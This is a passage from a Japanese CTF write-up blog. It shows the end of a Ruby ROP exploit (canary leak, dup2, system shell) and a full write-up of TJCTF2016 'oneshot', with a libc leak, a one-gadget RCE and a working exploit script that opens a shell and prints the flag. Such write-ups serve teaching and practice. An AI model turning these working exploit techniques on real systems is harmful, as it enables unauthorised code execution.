  libc_system = libc_base + offset_system
  libc_binsh  = libc_base + offset_binsh
  libc_dup2   = libc_base + offset_dup2
  pop_rdi_ret = libc_base + offset_pop_rdi_ret
  pop_rsi_ret = libc_base + offset_pop_rsi_ret

  canary = fmt(t, "%138$p").to_i(16)

  puts "[+] libc base    0x%x" % libc_base
  puts "[+] libc system  0x%x" % libc_system
  puts "[+] libc binsh   0x%x" % libc_binsh
  puts "[+] canary       0x%x" % canary


  offset = 0x418
  payload = "A" * (offset - 0x10)
  payload << p64(canary)
  payload << p64(0xdeadbeefdeadbeef)

  # 8 x 13
  payload << p64(pop_rdi_ret)
  payload << p64(4)
  payload << p64(pop_rsi_ret)
  payload << p64(0)
  payload << p64(libc_dup2)

  payload << p64(pop_rdi_ret)
  payload << p64(4)
  payload << p64(pop_rsi_ret)
  payload << p64(1)
  payload << p64(libc_dup2)

  payload << p64(pop_rdi_ret)
  payload << p64(libc_binsh)
  payload << p64(libc_system)
  stkof(t, offset + 8 * 13, payload)

  t.sendline("/bin/bash -i")
  t.shell

end

以下が実行結果.フラグ取れて満足して二回目にdateコマンドを叩いてalarmが無視されている時間経過していることを示そうと思ったら,すっかりわすれて風呂に入ってしまったため20分近くたっている.しかしその後コマンド叩いても反応するあたり,やっぱり無視できている.

f:id:encry1024:20170123222132p:plain

感想

テスト勉強の退屈から逃れることが出来たのでよかった.

TJCTF2016 oneshot (pwn170)

簡単なやつを解いてモチベを上げた.

下調べ

vagrant@alice1000:~/c/tjctf2016$ file oneshot  | sed -e 's/, /\n/g'                                                                                                          ASLR: ON
oneshot: ELF 64-bit LSB executable
x86-64
version 1 (SYSV)
dynamically linked
interpreter /lib64/ld-linux-x86-64.so.2
for GNU/Linux 2.6.32
BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59
not stripped

vagrant@alice1000:~/c/tjctf2016$ checksec --file oneshot                                                                                                                     ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       oneshot

とても良心的なバイナリ

解析

バイナリ自体はミジンコみたいに小さい.読みたいアドレスを値として送ると,Value: 0xdeadbeefという形で出力してくれる.次に飛びたいアドレスを値として送るとcallで飛んでくれる.

Exploit

面倒なので,libcはすでに特定済みとして話を進める.

vagrant@alice1000:~/c/tjctf2016$ md5sum libc.so.6                                                                                                                            ASLR: ON
a3e78b9d154d9d0936d3a1fda1743479  libc.so.6

本問題では,One-gadget-rce(Dragon Sectorの資料)というガジェットを用いてシェルを奪ってみる.これはlibc内にあり,うまく条件を満たせばexecve("/bin/sh", NULL, NULL)を実行してくれるガジェットのことである.以下に示したのが,One-gadget-rceの一例であり,今回使用したものである.
最初のmovは,環境変数の最初を指しており,それが後に,第三引数のrdxとして利用される.第二引数に利用されるrsiには,rsp+0x70が指す値が使われる.幸いこれが0になってくれたのでNULLとして利用できた.第一引数に利用されるrdiはコメントにあるとおり"/bin/sh"を示している.したがって,オフセット0xf0567の場所に飛べば無条件でシェルが起動するということがわかる.(環境変数がNULLにならないのは見逃して)

One-gadget-rce

00000000000f0567         mov        rax, qword [0x3c2eb8]
00000000000f056e         lea        rsi, qword [rsp+0x70]                       ; argument #2 for method execve
00000000000f0573         lea        rdi, qword [_libc_intl_domainname+407]      ; "/bin/sh", argument #1 for method execve
00000000000f057a         mov        rdx, qword [rax]                            ; argument #3 for method execve
00000000000f057d         call       execve

objdumpやgrep等でサクッと見つける方法があるのかもしれないが,わからなかったので,Hopperに投げて,execveが呼ばれているところを順番に見ていった(たいして数はない).

One-gadget-rceを利用して作成したexploitを以下に示す.

require 'pwnlib'

host = "localhost"
port = 8888

PwnTube.open(host, port) do |t|

  stdout = 0x600b20
  stdout_offset = 0x3c4620
  magic_offset = 0xf0567

  t.recv_until("\n")
  t.sendline(stdout.to_s)

  stdout_leak = t.recv_capture(/: (.+)\n/)[0].to_i(16)
  libc_base = stdout_leak - stdout_offset

  t.recv_until("\n")
  magic_gadget = libc_base + magic_offset

  puts "One-gadget-rce = 0x%x" % magic_gadget

  #STDIN.gets
  t.sendline(magic_gadget.to_s)
  puts t.recv_until("\n")

  t.shell

end

以下が実行結果である.

[*] connected
One-gadget-rce = 0x7f94faeec567
Good luck!
[*] waiting for shell...
[*] interactive mode
cat flag.txt
tjctf{m4gic_And_m0re_Mag1cK}

感想

存在は知っていたけれど使ったことはなかった(正確には前使おうとしたが結局何かが原因で成功しなかった)ので,体験できてよかった.フラグからもわかるように完全にOne-gadget-rceが想定解放っぽい感じがある.one-gadget-rceをサクッと見つけて,NULLにしておかなくちゃいけないスタックの状況とかを可視化できるコマンドラインツールほしいね.